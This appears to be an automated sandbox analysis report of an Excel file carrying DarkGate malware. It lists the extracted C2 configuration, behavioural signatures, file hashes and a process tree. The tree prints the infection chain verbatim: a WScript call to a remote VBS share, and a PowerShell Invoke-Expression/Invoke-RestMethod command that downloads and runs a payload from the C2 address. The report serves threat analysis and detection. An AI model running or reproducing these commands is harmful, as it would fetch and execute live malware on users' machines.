Analysis

  • max time kernel
    299s
  • max time network
    273s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/04/2024, 15:01

General

  • Target
    statapril2024-1353.xlsx
  • Size 56KB
  • Sample240409-sdxh4ade6w
  • SHA256 6a20b1568c0edaede64a58f2843b68a6a098cc99bd4554c7bfc339bfb4d67338
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • darkgate

Botnet
  • admin888

C2
  • 103.124.106.237

Attributes
  • anti_analysis

    true

  • anti_debug

    false

  • anti_vm

    true

  • c2_port

    80

  • check_disk

    false

  • check_ram

    false

  • check_xeon

    false

  • crypter_au3

    false

  • crypter_dll

    false

  • crypter_raw_stub

    false

  • internal_mutex

    bedxvHpr

  • minimum_disk

    50

  • minimum_ram

    4000

  • ping_interval

    6

  • rootkit

    false

  • startup_persistence

    true

  • username

    admin888

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Detect DarkGate stealer 4 IoCs
  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 8 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 7 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies registry class 2 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 49 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\statapril2024-1353.xlsx"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1784
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "\\45.89.53.187\s\MS_EXCEL_AZURE_CLOUD_OPEN_DOCUMENT.vbs"
      2⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:3644
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri '103.124.106.237/wctaehcw')
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3288
        • C:\kady\AutoHotkey.exe
          "C:\kady\AutoHotkey.exe" C:/kady/script.ahk
          4⤵
          • Executes dropped EXE
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:2628
        • C:\Windows\system32\attrib.exe
          "C:\Windows\system32\attrib.exe" +h C:/kady/
          4⤵
          • Views/modifies file attributes
          PID:1820
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "\\45.89.53.187\s\MS_EXCEL_AZURE_CLOUD_OPEN_DOCUMENT.vbs"
      2⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:2716
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri '103.124.106.237/wctaehcw')
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4816
        • C:\kady\AutoHotkey.exe
          "C:\kady\AutoHotkey.exe" C:/kady/script.ahk
          4⤵
          • Executes dropped EXE
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:4072
        • C:\Windows\system32\attrib.exe
          "C:\Windows\system32\attrib.exe" +h C:/kady/
          4⤵
          • Views/modifies file attributes
          PID:1776
  • C:\Windows\system32\NOTEPAD.EXE
    "C:\Windows\system32\NOTEPAD.EXE" C:\vcredist2012_x64_0_vcRuntimeMinimum_x64.log
    1⤵
    • Opens file in notepad (likely ransom note)
    PID:1320
  • C:\Windows\System32\rundll32.exe
    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
    1⤵
      PID:4592
    • C:\Windows\system32\OpenWith.exe
      C:\Windows\system32\OpenWith.exe -Embedding
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:5080
      • C:\Windows\system32\NOTEPAD.EXE
        "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\{8427925A-D0E1-481F-A2B7-25E6ABC61844} - OProcSessId.dat
        2⤵
          PID:1700
      • C:\Windows\system32\OpenWith.exe
        C:\Windows\system32\OpenWith.exe -Embedding
        1⤵
        • Modifies registry class
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:3504
        • C:\Windows\system32\NOTEPAD.EXE
          "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\~DF92A583A10E2AF9CD.TMP
          2⤵
            PID:2376

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              powershell.exe.log

              • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
              • Size 3KB
              • SHA256 8ef51b68725d9ddcda70f9f7ef24686ff3cb4a00f7d2dce79d10027ed63dfed5
              • MD5 SHA1 SHA512

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 578fee822ab4d29b50c82cc3dc38c900ed102141fd72096041a49b2880f90db3
              • MD5 SHA1 SHA512

              __PSScriptPolicyTest_nxqcsfdm.h54.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nxqcsfdm.h54.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512

              cBCBFEC

              • Path C:\Users\Admin\AppData\Roaming\cBCBFEC
              • Size 32B
              • SHA256 907559c25ff5b484953a002408e33dfe45fb37e5e960fec9ed285397b1fd1f9c
              • MD5 SHA1 SHA512

              AutoHotkey.exe

              • Path C:\kady\AutoHotkey.exe
              • Size 892KB
              • SHA256 897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb
              • MD5 SHA1 SHA512 SSDEEP

              script.ahk

              • Path C:\kady\script.ahk
              • Size 441B
              • SHA256 8e7070383517cc127dfff26a726a47fc48a9169591e29c8d16df6fdd6d2c591e
              • MD5 SHA1 SHA512

              test.txt

              • Path C:\kady\test.txt
              • Size 922KB
              • SHA256 70223ac25fecd28385f39f36367f93b045c312f062354497dd2702e7d295784d
              • MD5 SHA1 SHA512 SSDEEP

              memory/1784-10-0x00007FFB100B0000-0x00007FFB100C0000-memory.dmp

              memory/1784-33-0x00007FFB52990000-0x00007FFB52B85000-memory.dmp

              memory/1784-11-0x00007FFB52990000-0x00007FFB52B85000-memory.dmp

              memory/1784-12-0x00007FFB52990000-0x00007FFB52B85000-memory.dmp

              memory/1784-0-0x00007FFB12A10000-0x00007FFB12A20000-memory.dmp

              memory/1784-13-0x00007FFB52990000-0x00007FFB52B85000-memory.dmp

              memory/1784-14-0x00007FFB52990000-0x00007FFB52B85000-memory.dmp

              memory/1784-15-0x00007FFB100B0000-0x00007FFB100C0000-memory.dmp

              memory/1784-16-0x00007FFB52990000-0x00007FFB52B85000-memory.dmp

              memory/1784-17-0x00007FFB52990000-0x00007FFB52B85000-memory.dmp

              memory/1784-18-0x00007FFB52990000-0x00007FFB52B85000-memory.dmp

              memory/1784-19-0x00007FFB52990000-0x00007FFB52B85000-memory.dmp

              memory/1784-20-0x00007FFB52990000-0x00007FFB52B85000-memory.dmp

              memory/1784-5-0x00007FFB12A10000-0x00007FFB12A20000-memory.dmp

              memory/1784-34-0x00007FFB52990000-0x00007FFB52B85000-memory.dmp

              memory/1784-35-0x00007FFB52990000-0x00007FFB52B85000-memory.dmp

              memory/1784-8-0x00007FFB52990000-0x00007FFB52B85000-memory.dmp

              memory/1784-2-0x00007FFB52990000-0x00007FFB52B85000-memory.dmp

              memory/1784-1-0x00007FFB12A10000-0x00007FFB12A20000-memory.dmp

              memory/1784-9-0x00007FFB52990000-0x00007FFB52B85000-memory.dmp

              memory/1784-3-0x00007FFB12A10000-0x00007FFB12A20000-memory.dmp

              memory/1784-4-0x00007FFB52990000-0x00007FFB52B85000-memory.dmp

              memory/1784-6-0x00007FFB52990000-0x00007FFB52B85000-memory.dmp

              memory/1784-7-0x00007FFB12A10000-0x00007FFB12A20000-memory.dmp

              memory/2628-84-0x0000000000AC0000-0x0000000000B34000-memory.dmp

              memory/2628-86-0x0000000000AC0000-0x0000000000B34000-memory.dmp

              memory/3288-47-0x0000012029510000-0x0000012029520000-memory.dmp

              memory/3288-45-0x0000012029520000-0x0000012029542000-memory.dmp

              memory/3288-50-0x0000012041C50000-0x0000012041E12000-memory.dmp

              memory/3288-49-0x0000012029510000-0x0000012029520000-memory.dmp

              memory/3288-48-0x0000012029510000-0x0000012029520000-memory.dmp

              memory/3288-69-0x00007FFB26C00000-0x00007FFB276C1000-memory.dmp

              memory/3288-46-0x00007FFB26C00000-0x00007FFB276C1000-memory.dmp

              memory/4072-114-0x0000000004720000-0x0000000004794000-memory.dmp

              memory/4072-112-0x0000000004720000-0x0000000004794000-memory.dmp

              memory/4816-87-0x0000023CC5560000-0x0000023CC5570000-memory.dmp

              memory/4816-109-0x00007FFB26C00000-0x00007FFB276C1000-memory.dmp

              memory/4816-105-0x00007FFB26C00000-0x00007FFB276C1000-memory.dmp

              memory/4816-73-0x0000023CC5560000-0x0000023CC5570000-memory.dmp

              memory/4816-72-0x00007FFB26C00000-0x00007FFB276C1000-memory.dmp